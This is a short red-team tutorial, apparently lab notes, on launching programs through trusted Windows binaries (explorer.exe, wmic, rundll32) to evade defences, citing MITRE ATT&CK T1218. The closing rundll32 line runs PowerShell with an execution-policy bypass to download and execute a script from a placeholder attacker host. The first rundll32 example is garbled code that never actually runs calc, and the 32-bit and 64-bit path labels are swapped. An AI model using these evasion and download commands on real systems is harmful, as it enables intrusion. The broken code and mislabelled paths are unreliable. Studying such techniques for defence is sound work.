File execution

File Explorer

File Explorer is a pre-installed file manager and system component for Windows. People found that using the file explorer binary can execute other .exe files. This technique is called Indirect Command Execution, where the explorer.exe tool can be used and abused to launch malicious scripts or executables from a trusted parent process.

The explorer.exe binary is located at:

C:\Windows\explorer.exe for the Windows 32 bits version
C:\Windows\SysWOW64\explorer.exe for the Windows 64 bits version

In order to create a child process of explorer.exe parent (in this case calc.exe):

explorer.exe /root,"C:\Windows\System32\calc.exe"



Windows Management Instrumentation (WMIC) is a Windows command-line utility that manages Windows components. People found that WMIC is also used to execute binaries for evading defensive measures. The MITRE ATT&CK framework refers to this technique as Signed Binary Proxy Execution (T1218)

To create a new process of a binary of our choice (in this case calc.exe again):

wmic.exe process call create calc


Rundll32 is a pre-installed tool on Windows that loads and runs Dynamic Link Library DLL files within the OS. A red team can abuse and leverage rundll32.exe to run arbitrary payloads and execute JavaScript and PowerShell scripts. The MITRE ATT&CK framework identifies this as “Signed Binary Proxy Execution: Rundll32” (T1218).

The rundll32.exe binary is located at:

C:\Windows\System32\rundll32.exe for the Windows 32 bits version
C:\Windows\SysWOW64\rundll32.exe for the Windows 64 bits version

To execute a calc.exe binary as proof of concept using the rundll32.exe binary:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");\"calc\");window.close()");

To run a JavaScript that executes a PowerShell script to download from a remote website using rundll32.exe:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");